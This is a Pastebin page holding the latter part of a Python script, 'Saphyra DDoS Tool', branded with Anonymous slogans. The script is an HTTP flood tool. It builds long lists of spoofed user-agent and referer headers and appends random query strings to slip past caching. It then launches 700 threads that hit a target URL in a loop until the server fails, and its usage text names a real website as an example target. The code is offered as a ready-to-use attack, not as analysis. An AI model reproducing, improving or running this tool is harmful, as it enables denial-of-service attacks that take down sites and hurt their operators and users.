  3177.         headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.14-kanotix-9; X11)')
  3178.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10)')
  3179.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12)')
  3180.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1)')
  3181.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1)')
  3182.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1)')
  3183.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)')
  3184.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2)')
  3185.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1)')
  3186.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7)')
  3187.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6)')
  3188.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8)')
  3189.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8)')
  3190.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)')
  3191.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10)')
  3192.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1)')
  3193.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)')
  3194.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8)')
  3195.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.0.1)')
  3196.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12)')
  3197.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)')
  3198.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8)')
  3199.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1)')
  3200.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4.1)')
  3201.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1)')
  3202.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1)')
  3203.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)')
  3204.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1)')
  3205.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)')
  3206.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3)')
  3207.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12)')
  3208.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12)')
  3209.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1)')
  3210.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1)')  
  3211.         headers_useragents.append('Mozilla/5.0 (X11; Linux i686; rv:1.7.5)')
  3212.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6)')
  3213.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2)')
  3214.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.6)')
  3215.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1)')
  3216.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6)')
  3217.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3)')
  3218.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10)')
  3219.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)')
  3220.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12)')
  3221.         headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5)')
  3222.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.1)')
  3223.         headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3; Linux)')
  3224.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)')
  3225.         headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.2; Linux)')
  3226.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)')
  3227.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8b4)')
  3228.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  3229.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3230.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3231.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  3232.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  3233.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3234.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  3235.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  3236.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  3237.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  3238.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  3239.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  3240.         return(headers_useragents)
  3241.  
  3242. # generates a referer array
  3243. def referer_list():
  3244.     global headers_referers
  3245.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  3246.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  3247.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3248.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  3249.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  3250.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  3251.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3252.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  3253.     headers_referers.append('http://www.google.com/?q=')
  3254.     headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
  3255.     headers_referers.append('http://vk.com/profile.php?redirect=')
  3256.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3257.     headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..')
  3258.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
  3259.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
  3260.     headers_referers.append('http://yandex.ru/yandsearch?text=')
  3261.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832')
  3262.     headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=')
  3263.     headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..')
  3264.     headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..')
  3265.     headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..')
  3266.     headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..')
  3267.     headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..')
  3268.     headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882')
  3269.     headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..')
  3270.     headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..')
  3271.     headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  3272.     headers_referers.append('http://www.bing.com/search?q=')
  3273.     headers_referers.append('https://www.yandex.com/yandsearch?text=')
  3274.     headers_referers.append('https://duckduckgo.com/?q=')
  3275.     headers_referers.append('http://www.ask.com/web?q=')
  3276.     headers_referers.append('http://search.aol.com/aol/search?q=')
  3277.     headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=')
  3278.     headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  3279.     headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
  3280.     headers_referers.append('http://host-tracker.com/check_page/?furl=')
  3281.     headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=')
  3282.     headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
  3283.     headers_referers.append('https://add.my.yahoo.com/rss?url=')
  3284.     headers_referers.append('http://www.google.com/?q=')
  3285.     headers_referers.append('http://www.google.com/?q=')
  3286.     headers_referers.append('http://www.google.com/?q=')
  3287.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3288.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3289.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  3290.     headers_referers.append('http://filehippo.com/search?q=')
  3291.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  3292.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  3293.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3294.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  3295.     headers_referers.append('http://techtv.mit.edu/search?q=')
  3296.     headers_referers.append('http://www.ustream.tv/search?q=')
  3297.     headers_referers.append('http://www.ted.com/search?q=')
  3298.     headers_referers.append('http://funnymama.com/search?q=')
  3299.     headers_referers.append('http://itch.io/search?q=')
  3300.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  3301.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  3302.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  3303.     headers_referers.append('https://play.google.com/store/search?q=')
  3304.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  3305.     headers_referers.append('http://www.reddit.com/search?q=')
  3306.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  3307.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  3308.     headers_referers.append('http://jobs.leidos.com/search?q=')
  3309.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  3310.     headers_referers.append('https://www.pinterest.com/search/?q=')
  3311.     headers_referers.append('http://millercenter.org/search?q=')
  3312.     headers_referers.append('https://www.npmjs.com/search?q=')
  3313.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  3314.     headers_referers.append('http://www.shodanhq.com/search?q=')
  3315.     headers_referers.append('http://ytmnd.com/search?q=')
  3316.     headers_referers.append('http://www.google.com/?q=')
  3317.     headers_referers.append('http://www.google.com/?q=')
  3318.     headers_referers.append('http://www.google.com/?q=')
  3319.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3320.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3321.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  3322.     headers_referers.append('http://filehippo.com/search?q=')
  3323.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  3324.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  3325.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3326.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  3327.     headers_referers.append('http://techtv.mit.edu/search?q=')
  3328.     headers_referers.append('http://www.ustream.tv/search?q=')
  3329.     headers_referers.append('http://www.ted.com/search?q=')
  3330.     headers_referers.append('http://funnymama.com/search?q=')
  3331.     headers_referers.append('http://itch.io/search?q=')
  3332.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  3333.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  3334.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  3335.     headers_referers.append('https://play.google.com/store/search?q=')
  3336.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  3337.     headers_referers.append('http://www.reddit.com/search?q=')
  3338.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  3339.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  3340.     headers_referers.append('http://jobs.leidos.com/search?q=')
  3341.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  3342.     headers_referers.append('https://www.pinterest.com/search/?q=')
  3343.     headers_referers.append('http://millercenter.org/search?q=')
  3344.     headers_referers.append('https://www.npmjs.com/search?q=')
  3345.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  3346.     headers_referers.append('http://www.shodanhq.com/search?q=')
  3347.     headers_referers.append('http://ytmnd.com/search?q=')
  3348.     headers_referers.append('http://www.google.com/?q=')
  3349.     headers_referers.append('http://www.google.com/?q=')
  3350.     headers_referers.append('http://www.google.com/?q=')
  3351.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3352.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3353.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  3354.     headers_referers.append('http://filehippo.com/search?q=')
  3355.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  3356.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  3357.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3358.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  3359.     headers_referers.append('http://techtv.mit.edu/search?q=')
  3360.     headers_referers.append('http://www.ustream.tv/search?q=')
  3361.     headers_referers.append('http://www.ted.com/search?q=')
  3362.     headers_referers.append('http://funnymama.com/search?q=')
  3363.     headers_referers.append('http://itch.io/search?q=')
  3364.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  3365.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  3366.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  3367.     headers_referers.append('https://play.google.com/store/search?q=')
  3368.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  3369.     headers_referers.append('http://www.reddit.com/search?q=')
  3370.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  3371.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  3372.     headers_referers.append('http://jobs.leidos.com/search?q=')
  3373.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  3374.     headers_referers.append('https://www.pinterest.com/search/?q=')
  3375.     headers_referers.append('http://millercenter.org/search?q=')
  3376.     headers_referers.append('https://www.npmjs.com/search?q=')
  3377.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  3378.     headers_referers.append('http://www.shodanhq.com/search?q=')
  3379.     headers_referers.append('http://ytmnd.com/search?q=')
  3380.     headers_referers.append('http://www.google.com/?q=')
  3381.     headers_referers.append('http://www.google.com/?q=')
  3382.     headers_referers.append('http://www.google.com/?q=')
  3383.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3384.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3385.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  3386.     headers_referers.append('http://filehippo.com/search?q=')
  3387.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  3388.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  3389.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3390.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  3391.     headers_referers.append('http://techtv.mit.edu/search?q=')
  3392.     headers_referers.append('http://www.ustream.tv/search?q=')
  3393.     headers_referers.append('http://www.ted.com/search?q=')
  3394.     headers_referers.append('http://funnymama.com/search?q=')
  3395.     headers_referers.append('http://itch.io/search?q=')
  3396.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  3397.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  3398.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  3399.     headers_referers.append('https://play.google.com/store/search?q=')
  3400.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  3401.     headers_referers.append('http://www.reddit.com/search?q=')
  3402.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  3403.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  3404.     headers_referers.append('http://jobs.leidos.com/search?q=')
  3405.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  3406.     headers_referers.append('https://www.pinterest.com/search/?q=')
  3407.     headers_referers.append('http://millercenter.org/search?q=')
  3408.     headers_referers.append('https://www.npmjs.com/search?q=')
  3409.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  3410.     headers_referers.append('http://www.shodanhq.com/search?q=')
  3411.     headers_referers.append('http://ytmnd.com/search?q=')
  3412.     headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=')
  3413.     headers_referers.append('http://www.google.com/?q=')
  3414.     headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=')
  3415.     headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  3416.     headers_referers.append('http://www.google.com/translate?u=')
  3417.     headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=')
  3418.     headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  3419.     headers_referers.append('http://www.bing.com/search?q=')
  3420.     headers_referers.append('https://add.my.yahoo.com/rss?url=')
  3421.     headers_referers.append('https://play.google.com/store/search?q=')
  3422.     headers_referers.append('http://www.google.com/?q=')
  3423.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3424.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3425.     headers_referers.append('http://' + host + '/')
  3426.     return(headers_referers)
  3427. #builds random ascii string
  3428. def buildblock(size):
  3429.     out_str = ''
  3430.     for i in range(0, size):
  3431.         a = random.randint(65, 160)
  3432.         out_str += chr(a)
  3433.     return(out_str)
  3434.  
  3435. def usage():
  3436.     print 'Saphyra DDoS Tool ( individual Dangerous Denial of Service )'
  3437.     print 'New loaded Botnets: 1,798,445,657'
  3438.     print 'Usage: Saphyra (url)'
  3439.     print 'Example: Saphyra.py http://luthi.co.il/'
  3440.     print "\a"
  3441. print \
  3442. """
  3443.  
  3444.                                ,-.
  3445.                               ( O_)
  3446.                              / `-/
  3447.                             /-. /
  3448.                            /   )
  3449.                           /   /  
  3450.              _           /-. /
  3451.             (_)*-._     /   )
  3452.               *-._ *-'**( )/    
  3453.                   *-/*-._* `.
  3454.                    /     *-.'._
  3455.                   /\      /-._*-._
  3456.    _,---...__    /  ) _,-*/    *-(_)
  3457. ___<__(|) _   **-/  / /   /
  3458. '  `----' **-.   \/ /   /
  3459.               )  ] /   /
  3460.       ____..-'   //   /                       )
  3461.   ,-**      __.,'/   /   ___                 /,
  3462.  /    ,--**/  / /   /,-**   ***-.          ,'/
  3463. [    (    /  / /   /  ,.---,_   `._   _,-','
  3464.  \   `-./  / /   /  /       `-._  *** ,-'
  3465.   `-._  /  / /   /_,'            **--*
  3466.       */  / /   /*        
  3467.       /  / /   /
  3468.      /  / /   /  
  3469.     /  |,'   /  
  3470.    :   /    /
  3471.    [  /   ,'     ~>Saphyra DDoS Tool<~
  3472.    | /  ,'      ~~>Created By Anonymous<~~
  3473.    |/,-'
  3474.    '
  3475.                                                      
  3476. """
  3477.  
  3478.    
  3479. #http request
  3480. def httpcall(url):
  3481.     useragent_list()
  3482.     referer_list()
  3483.     code=0
  3484.     if url.count("?")>0:
  3485.         param_joiner="&"
  3486.     else:
  3487.         param_joiner="?"
  3488.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  3489.     request.add_header('User-Agent', random.choice(headers_useragents))
  3490.     request.add_header('Cache-Control', 'no-cache')
  3491.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  3492.     request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(50,100)))
  3493.     request.add_header('Keep-Alive', random.randint(110,160))
  3494.     request.add_header('Connection', 'keep-alive')
  3495.     request.add_header('Host',host)
  3496.     try:
  3497.             urllib2.urlopen(request)
  3498.     except urllib2.HTTPError, e:
  3499.             #print e.code
  3500.             set_flag(1)
  3501.             print "----->>> ! We are Anonymous - ExpectUS ! <<<-----"
  3502.             code=500
  3503.     except urllib2.URLError, e:
  3504.             #print e.reason
  3505.             sys.exit()
  3506.     else:
  3507.             inc_counter()
  3508.             urllib2.urlopen(request)
  3509.     return(code)       
  3510.  
  3511.    
  3512. #http caller thread
  3513. class HTTPThread(threading.Thread):
  3514.     def run(self):
  3515.         try:
  3516.             while flag<2:
  3517.                 code=httpcall(url)
  3518.                 if (code==500) & (safe==1):
  3519.                     set_flag(2)
  3520.         except Exception, ex:
  3521.             pass
  3522.  
  3523. # monitors http threads and counts requests
  3524. class MonitorThread(threading.Thread):
  3525.     def run(self):
  3526.         previous=request_counter
  3527.         while flag==0:
  3528.             if (previous+100<request_counter) & (previous<>request_counter):
  3529.                 previous=request_counter
  3530.         if flag==2:
  3531.             print "\n-- Sending mass amounf of packets generated by Liphyra Botnet --"
  3532.  
  3533. #execute
  3534. if len(sys.argv) < 2:
  3535.     usage()
  3536.     sys.exit()
  3537. else:
  3538.     if sys.argv[1]=="help":
  3539.         usage()
  3540.         sys.exit()
  3541.     else:
  3542.         print "Starting the Attack"
  3543.         print "ANONYMOUS"
  3544.         if len(sys.argv)== 3:
  3545.             if sys.argv[2]=="safe":
  3546.                 set_safe()
  3547.         url = sys.argv[1]
  3548.         if url.count("/")==2:
  3549.             url = url + "/"
  3550.         m = re.search('http\://([^/]*)/?.*', url)
  3551.         host = m.group(1)
  3552.         for i in range(700):
  3553.             t = HTTPThread()
  3554.             t.start()
  3555.         t = MonitorThread()
  3556.         t.start()
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!